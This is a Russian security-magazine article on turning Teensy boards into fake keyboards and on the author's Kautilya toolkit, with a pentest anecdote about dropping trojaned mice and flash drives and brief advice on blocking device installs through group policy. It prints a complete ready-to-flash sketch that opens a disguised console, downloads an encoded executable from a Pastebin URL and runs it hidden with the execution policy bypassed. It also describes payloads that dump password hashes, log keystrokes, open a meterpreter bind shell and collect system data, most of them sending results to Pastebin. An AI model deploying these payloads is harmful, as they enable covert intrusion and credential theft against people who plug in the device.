Девайсы-вирусы

У современных ОС есть интересная особенность — они полностью доверяют устройствам вроде клавиатуры или мыши. Соответственно, если собрать девайс, который будет эмулировать нужный ввод, и подключить его к компьютеру, то можно творить все что угодно. Этим и пользуются злоумышленники.

WARNING

Информация представлена исключительно в образовательных целях. Любое ее использование в неправомерных целях может караться по всей строгости закона РФ (статьи 272 и 273 Уголовного кодекса). Ни автор, ни редакция в этом случае ответственности не несут. Думай головой.

Маленький пример

Начну с небольшой демонстрации. Представь: специалист по безопасности проводит внутренний пентест в некоторой компании и видит, что один из сотрудников часто оставляет станцию незалоченной. Очевидный путь — подойти и выполнить несколько «злобных» команд, пока этого никто не видит. Однако есть серьезный риск быть пойманным за чужим рабочим местом да еще набирающим что-то непонятное в черном окне консоли :). А если бы у исследователя было устройство, которое при подключении само бы набирало заранее запрограммированные команды? Подойти и незаметно вставить такой девайс — уже не слишком большая проблема. Или другой пример. Пусть это будет уже злоумышленник, у которого нет физического доступа к компьютерам. Если замаскировать девайс под видом мышки, флешки или 3G-модема, то есть шанс, что его без лишней помощи вставит кто-то из самих же сотрудников. Известны случаи, когда такие «протрояненные» девайсы отправлялись просто по почте в качестве сувенирки. Процент пользователей, которые, не подозревая о подвохе, подключают устройство к компьютеру, достаточно высок. При этом ни система, ни, к примеру, антивирус не замечают подвоха — для них это обычная клавиатура. Почему так происходит?

HID-устройства

Для начала надо разобраться с понятием Human Interface Device, или HID. В Википедии говорится, что HID — тип компьютерного устройства, которое взаимодействует напрямую с человеком, наиболее часто принимает входные данные от человека и предоставляет ему выходные данные. Самые распространенные типы HID-устройств — это клавиатуры, мыши и джойстики. С точки зрения компьютерной системы HID-устройства являются полностью доверенными и в основном рассматриваются как простой интерфейс между пользователем и машиной. Когда ты вставляешь в компьютер новую клавиатуру и мышь, никто у тебя не спрашивает разрешения на их установку, а драйверы чаще всего устанавливаются автоматически. Такое безграничное доверие может выйти боком для пользователя и давно замечено специалистами по информационной безопасности. Еще в 2010 году на хакерской конференции DEFCON небезызвестные Irongeek и Dave ReL1k подробно рассказывали об использовании HID-устройств для проверки безопасности систем. С тех пор в плане защиты не изменилось ровным счетом ничего. И собрать девайс, который под видом клавиатуры будет выполнять запрограммированные действия, ничто не мешает и сейчас, в чем я убедился в рамках моего исследования.

Плата Teensy

За основу такого USB-девайса была выбрана плата Teensy++ 2.0. Это программируемый микроконтроллер, который изначально идет вместе с полноценным USB-портом. Среди примеров использования Teensy, в огромном количестве собранных на официальном сайте, — LED-футболка, которая с помощью диодов выводит различные изображения, станок для рисования маркером, наносящим нужный рисунок на любую ровную поверхность, считыватель RFID-карточек, детектор движения и еще десятки полезного и не очень «самопала». Ты наверняка слышал о платах Arduino и ее аналогах, так вот Teensy — очень похожий проект. Но что важно для моей задачи: на Teensy чрезвычайно просто реализовать HID-устройство, которое будет определяться системой как клавиатура или, к примеру, мышь. Поскольку плата изначально снабжена USB-портом, то мне даже не пришлось брать в руки паяльник и выполнять какие-либо хардкорные вмешательства. Все, что было нужно, — написать правильную программу. Замечу, что у платы есть несколько версий, но я выбрал самую навороченную и дорогую — Teensy++ 2.0. Ее можно заказать на официальном сайте проекта pjrc.com всего за 24 доллара.

Ограничения Teensy

Есть один нюанс, который сильно усложняет Teensy жизнь. Поскольку мы используем эмуляцию HID-устройства, то мы можем говорить с системой, но не можем ее услышать. Это основное ограничение при написании пэйлоадов для Teensy, которое делает пэйлоады менее чувствительными к состоянию системы. Разработчику боевых нагрузок придется заранее определить все возможные ситуации и реакцию системы, потому что во время выполнения прочитать ответ системы будет невозможно. Единственная вещь, которую Teensy может считать, когда используется в качестве клавиатуры, — это состояние кнопок CAPS, NUM и SCROLL. Еще одним ограничением является маленький размер памяти устройства, но с этим можно жить, особенно если подключить к Teensy дополнительный носитель данных, например SD-карту.

Hello world для железки

Teensy, как и платы Arduino, использует похожий процессор Atmel AVR, поэтому можно взять ту же среду разработки — Arduino Development Environment (arduino.cc), ее также называют ADE. Последняя бесплатно доступна для всех популярных ОС (Windows, Linux, Mac OS X) и, помимо редактирования кода, позволяет залить программу в микроконтроллер. Чтобы полноценно использовать ее для работы с Teensy, необходимо также установить дополнительный аддон Teensyduino (pjrc.com/teensy/teensyduino.html). Надстройка, в частности, сразу предоставляет возможность перевести Teensy в режим эмуляции клавиатуры: это делается в ADE через меню «Tools –> Boards –> USB Keyboard». Если вставить девайс в компьютер, то он сразу определится как клава. Однако происходить ничего не будет — пока ничего не запрограммировано.

Среда разработки Arduino Development Environment с установленным плагином для совместимости с Teensy
Среда разработки Arduino Development Environment с установленным плагином для совместимости с Teensy

Что представляет собой программа или, как ее называют в здешней терминологии, скетч для Teensy? Разработка осуществляется с помощью С-подобного синтаксиса. Программисту доступны переменные, методы, условные операторы, указатели — короче говоря, все, что нужно для счастья. Любой скетч должен содержать функции setup() и loop(): первая вызывается один раз во время запуска, а вторая в цикле выполняет написанный внутри нее код. Функции могут быть даже пустыми, однако присутствовать должны — иначе компиляция будет завершаться неудачей. Приведу пример простейшего кода:

int count = 0;
void setup() { } 
void loop() {
  Keyboard.print("Hello World ");
  delay(5000);
}

Как видишь, для эмуляции ввода используется уже готовая функция Keyboard.print(). Причем ввод будет повторяться, потому что вызов осуществляется из функции loop(). Задержка, реализованная с помощью delay(), нужна для того, чтобы повторение ввода не происходило слишком быстро. В документации подробнейшим образом описываются более сложные случаи эмуляции и клавиатуры, и мышки, и джойстика — я же на этом описание программирования Teensy закончу. В ходе своего исследования я уже создал все необходимые скетчи, которые могут понадобиться пентестеру, и оформил их в виде готового набора инструментов Kautilya (code.google.com/p/kautilya), который доступен с открытыми исходниками всем желающим.

Тулкит Kautilya

В ходе лекций о Teensy я заметил, что очень часто у пентестеров банально не хватает времени для программирования микроконтроллера под свои нужды. В результате они просто отказываются от этого инструмента. Я решил максимально упростить задачу и написал на Ruby скрипт, спрашивающий некоторые параметры и на выходе выдающий готовый скетч, который можно загрузить в Teensy. Благодаря этому снабдить микроконтроллер боевой нагрузкой можно вообще без знания о том, как пишутся программы для микроконтроллера.

Управление тулкитом Kautilya осуществляется через консольное меню
Управление тулкитом Kautilya осуществляется через консольное меню

Чтобы лучше понимать, что зашито внутри Kautilya, предлагаю рассмотреть, как бы выглядел пентест Windows 7 машины с помощью HID-устройства, если бы необходимо было начинать с нуля. Скорее всего, это были бы следующие этапы:

  1. Распознать операционную систему с точки зрения USB-буфера.
  2. Выяснить поддерживаемые команды и научиться с их помощью реализовывать нужные нам действия в системе с помощью PowerShell- и/или VBS-скриптов.
  3. Определить встроенные механизмы безопасности (такие как UAC и политика запуска PowerShell-скриптов), которые могут проверять привилегированные команды, и затем найти способ их обходить.
  4. Узнать время, затрачиваемое ОС на выполнение различных команд.
  5. Записать команды и скрипты на плату Teensy.
  6. Узнать, какие фокусы может выкинуть командная строка, когда Teensy будет передавать команды (эмулировать ввод с клавиатуры) на машину жертвы.
  7. Постараться быть как можно незаметней на компьютере жертвы.
  8. Протестировать пэйлоад и сделать окончательный скетч.
  9. Скомпилировать скетч и залить на Teensy.
  10. Присоединить девайс к машине жертвы или сделать так, чтобы она сделала это сама (например, с помощью социальной инженерии).
  11. Получить результат :).

INFO

Автор этой статьи живет в Индии, а тулкит Kautilya назван в честь индийского стратега, экономиста и политолога Чанакья (Каутилья — один из его псевдонимов).

Следующие несколько строк могут выглядеть как самореклама ;). Kautilya автоматизирует шаги с первого по восьмой. Другими словами, с использованием тулкита исследователю достаточно:

  1. Выбрать через консольное меню Kautilya готовую боевую нагрузку и указать опции — в результате будет сгенерирован готовый скетч (*.ino или *.pde файл).
  2. Залить скетч на плату Teensy.
  3. Присоединить девайс к машине-жертве.
  4. Наслаждаться победой!

В настоящий момент тулкит содержит в себе пэйлоады для Windows 7 и Linux (протестирован на Ubuntu 11.4). Чтобы не быть голословным, предлагаю изучить некоторые из них и посмотреть, как они работают, если на машине жертвы используется Windows 7.

Создаем скетч для дампа пользовательских паролей
Создаем скетч для дампа пользовательских паролей

Есть ли способ защититься?

Я вижу два основных способа защиты от подобных атак на Windows-системах:

  1. Запретить установку съемных устройств — это можно сделать с помощью групповой политики безопасности (gpedit.msc) как для локальной машины, так и для рабочих станций в домене. Если перейти в «Административные шаблоны –> Система –> Установка устройства –> Ограничения на установку устройств», то ты увидишь различные настройки для ограничения установки устройств. Я бы рекомендовал включить опцию «Запретить установку съемных устройств», после этого ни одно устройство подключить к системе будет уже нельзя. Кроме того, запрещено будет и обновление драйверов для уже установленных устройств. Установить новое устройство сможет только администратор, да и то только после активации опции «Разрешить администраторам заменять политики ограничения установки устройств». Имей в виду: если речь идет об организации, то это непременно обернется кошмаром для пользователей, которые, не обнаружив привычный Plug’n’Play, сразу же замучают админа просьбами посмотреть их компьютер. А что делать?
  2. Поступить радикально и запретить физический доступ к USB-портам. К сожалению, чаще всего это не представляется возможным — в большой компании всегда останется лазейка. Некоторые производители материнских плат заявляют, что их защитные решения умеют блокировать подобные зловредные устройства (в том числе собранные на базе Teensy). Но я бы рекомендовал не сильно доверять подобным заявлениям: проверял я тут одну защиту, и она была бесполезна чуть больше чем полностью.

Запрещаем установку внешних устройств для предотвращения атак через USB-устройства
Запрещаем установку внешних устройств для предотвращения атак через USB-устройства

Примеры использования

Payload: скачать и выполнить

Как я уже говорил, боевая нагрузка выбирается через консольное меню Kautilya. Один из простых пэйлоадов — Download and Execute, который загружает файл из интернета и запускает его на целевой системе. Естественно, при создании программы для микроконтроллера необходимо указать, откуда этот файл нужно взять. Интересно, что для хостинга бинарника предлагается разместить его на сервисе Pastebin.com, предварительно обработав его для хранения в текстовом виде, а для соответствующей конвертации пригодится специальный скрипт exetotext.ps1, который лежит в папке Kautilya/extras. В момент выполнения на машине-жертве программа скачивает текстовый файл, преобразует его обратно в исполняемый exe’шник и выполняет его в фоновом режиме. Это может быть windows reverse meterpreter (по сути, реверс-шелл): если подключить девайс с таким скетчем к исследуемому компьютеру, то пентестер очень скоро получит meterpreter-сессию. Причем нагрузка умеет обходить execution policy и не отображает никаких окон на целевом компьютере.

Интересно рассмотреть, что все-таки генерирует Kautilya. Приведу ниже скрипт, поясняя важные моменты небольшими комментариями:

void setup() {
   delay(5000);
   // Задержка в 5 секунд необходима, чтобы Windows 7 подготовилась для работы с устройством

   run("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"");
   // Открываем окно консоли очень маленького размера с заголовком Installing Drivers

   delay(3000);

   Keyboard.println("echo $webclient = New-Object System.Net.WebClient > %temp%\\download.ps1");
   // Создаем объект класса WebClient

   Keyboard.println("echo $url = \"http://pastebin.com/raw.php?i=NfiBdUp9\" >> %temp%\\download.ps1");
   // Pastebin URL в raw-формате, который был передан в качестве опции Katuilya

   Keyboard.println("echo [string]$hex = $webClient.DownloadString($url) >> %temp%\\download.ps1");
   // Загружаем текст в hex-формате

  Keyboard.println("echo [Byte[]] $temp = $hex -split ' ' >> %temp%\\download.ps1");
   // Переводим hex в bytes

   Keyboard.println("echo [System.IO.File]::WriteAllBytes(\"%TEMP%\\payload.exe\", $temp) >> %temp%\\download.ps1");
   // Записываем полученные байты в exe-файл

   Keyboard.println("echo start-process -nonewwindow \"%TEMP%\\payload.exe\" >> %temp%\\download.ps1");
   // Незаметно выполняем payload.exe

   delay(2000);

   Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\download.vbs");

   Keyboard.println("echo oShell.Run(\"powershell.exe -ExecutionPolicy Bypass -noLogo -command %temp%\\download.ps1\"),0,true >> %temp%\\download.vbs");
   // Выполняем PowerShell-скрипт из vbs, который обходит execution policy и не отображает никаких окон на компьютере-жертве

   delay(1000);

   Keyboard.println("wscript %temp%\\download.vbs");

   delay(3000);

   Keyboard.println("exit");
   // Закрываем окно терминала
}

void loop(){
   // loop-функция необходима в скетче
}

void run(char *SomeCommand){
   Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); 
   // Эмулируем нажатие клавиши Windows

   Keyboard.set_key1(KEY_R);
   // Эмулируем нажатие клавиши <R>

   Keyboard.send_now();
   // Посылаем комбинацию клавиш <Windows>+<R>, которая открывает окно "Выполнить" 

   delay(1500);
   Keyboard.set_modifier(0);
   // Эмулируем отпускание клавиши <Windows>

   Keyboard.set_key1(0);
   // Эмулируем отпускание клавиши <R>

   Keyboard.send_now();
   // Отпускаем <Windows> и <R>

   Keyboard.print(SomeCommand);
   // Вводим переданный аргумент SomeCommand в окне "Выполнить"
   Keyboard.set_key1(KEY_ENTER);

   Keyboard.send_now();

   Keyboard.set_key1(0);

   Keyboard.send_now();
}

Еще раз поясню: этот сгенерированный скрипт сразу готов для загрузки на Teensy через среду разработки Arduino Development Environment.

Payload: сдампить хеши паролей

Другой пэйлоад может быть использован для дампа хешей паролей с Windows 7 машины. Для того чтобы его применить, исследователю необходимо предварительно загрузить скрипт powerdump meterpreter из метасплойта на Pastebin, откуда он будет впоследствии загружен на жертву. Как известно, этот скрипт работает только с привилегиями SYSTEM, которые можно получить, если добавить задание в стандартный планировщик задач. Однако этот старый добрый трюк сработает только из-под аккаунта администратора. Чтобы передать полученные данные, скетч опять же использует сервис Pastebin, но не раскрывает хеши для всех подряд — вместо этого он публикует их в виде приватного поста (недоступен для посторонних). Правда, для этого предварительно нужно зарегистрироваться в сервисе и получить свой ключ разработчика (api developer key), который скетч будет использовать для публикации данных. Логин/пароль и ключ для Pastebin, а также имя задачи планировщика — все это, само собой, запросит Kautilya при создании программы для Teensy. Если залить полученный скетч и вставить в компьютер пользователя, который работает с правами администратора, то на Pastebin.com очень скоро окажутся хеши пользовательских паролей, которые часто брутятся.

После подключения устройства, хеши паролей были загружены на Pastebin.com
После подключения устройства, хеши паролей были загружены на Pastebin.com

Payload: кейлоггер

Есть среди боевых нагрузок и кейлоггер, представляющий собой PowerShell-скрипт, который сохраняет перехваченные нажатия клавиш в приватный пост на Pastebin. Публикация осуществляется через определенный промежуток времени. Правда, в своем непонятном формате. Чтобы перевести данные в понятный вид, необходимо использовать скрипт parsekeys.ps1, который лежит в папке Kautilya/extras. Для успешной работы скрипта все данные с Pastebin должны быть сохранены в файле data.txt. По завершении работы он создаст файл Logged_keys.txt, содержащий данные о нажатых клавишах в читабельном виде. Такой простой кейлоггер способен сохранять данные, вводимые в веб-формах и текстовых полях приложений.

Payload: создание фейковой точки доступа

Этот необычный пэйлоад использует штатные возможности Windows 7 по созданию хотспота и поднимает точку доступа на машине-жертве, запуская meterpreter bind shell. Соответственно, в случае успеха пентестер может подключиться к созданной беспроводной сети и добраться до шелла (этот сценарий, кстати, только выглядит экзотическим, но на деле может быть очень эффективен). Шелл запускается в оперативной памяти и поэтому незаметен (поблагодарим за него Мэта с exploit-monday.com). Чтобы создать программу для Teensy, исследователю необходимо сначала сгенерировать bind meterpreter пэйлоад, используя команды из файла extras\payloadgen.txt, и затем сгенерированную нагрузку скопировать в файл src\rogue_ap.txt. При создании программы Kautilya запросит SSID для точки доступа, ключ для подключения к беспроводной сети, а также порт (например, 4444), на котором будут приниматься подключения. Если нагрузка выполнится успешно и беспроводная сеть поднимется, то, подключившись к ней, можно зайти в настройки и посмотреть шлюз по умолчанию — это и есть адрес целевого компьютера. Исследователь может подключиться к порту 4444, используя msf listener, и — бинго! — получить meterpreter-сессию. Ты можешь немного удивиться, ведь по идее встроенный брандмауэр Windows должен был заблокировать подключение. Но если ты взглянешь на исходники сгенерированного скетча, то увидишь, что Kautilya добавил свой пэйлоад в список исключений стандартного файрвола винды.

Payload: сбор информации

В наборе тулкита есть пэйлоад и для сбора ценной информации. В стандартной вариации программа с помощью специального PowerShell-скрипта и реестра извлекает список активных пользователей, PowerShell-окружение, доверенные хосты PuTTY, сохраненные сессии PuTTY, список расшаренных ресурсов машины, переменные окружения, список установленных приложений, доменное имя, содержимое hosts-файла, список запущенных служб, политику учетных записей, локальных пользователей, локальные группы и информацию о WLAN. Полученные данные, как обычно, сохраняются на Pastebin в приватном посте.

Пример из жизни

Вопрос, который мне постоянно задают: «Действительно ли все бывает полезно в настоящих тестах на проникновение?» Да. Я бы хотел поделиться историей одного пентеста. Я выполнял тест на проникновение для крупной индийской финансовой компании. Это был тест типа «черный ящик», то есть я был поставлен в условия настоящего злоумышленника без доступа к чему-либо. Серверы компании, доступные из интернета, были надежно защищены, и придраться там было не к чему. Что делать, непонятно. Тогда я пошел в их офис и сказал охранникам на входе, что я нашел несколько мышек и флешек, которые выпали у какого-то работника из сумки. Все устройства были протроянены Teensy и содержали различные пэйлоады. Через полчаса я получил первый шелл (скорее всего, это был компьютер в комнате охраны). К концу дня у меня уже были привилегии локального администратора на многих компьютерах — судя по всему, охранники передали устройства в IT-отдел. Из протрояненных устройств 90% процентов были подключены хотя бы к одной системе, а 70% успешно выполнили заложенный в них пэйлоад. Клиент, вбухавший в безопасность кучу денег, был сильно удивлен и впечатлен подобным способом проникновения. Теперь эта брешь у них прикрыта. Что я хочу сказать? До тех пор пока операционные системы и защитные механизмы доверяют HID-устройствам, использовать их в качестве вектора атаки не будет проблемой для злоумышленников. При этом подобные способы атаки до сих пор многими специалистами по безопасности не рассматриваются всерьез. А зря.

INFO

Насколько мне известно, до создания Kautilya пэйлоады для Teensy были реализованы только в инструменте SET (Social Engineer Toolkit, www.secmaniac.com), и они, вне всякого сомнения, очень хороши! Но все же SET сфокусирован несколько на других задачах.

Ч

By Ruslan Novikov

Интернет-предприниматель. Фулстек разработчик. Маркетолог. Наставник.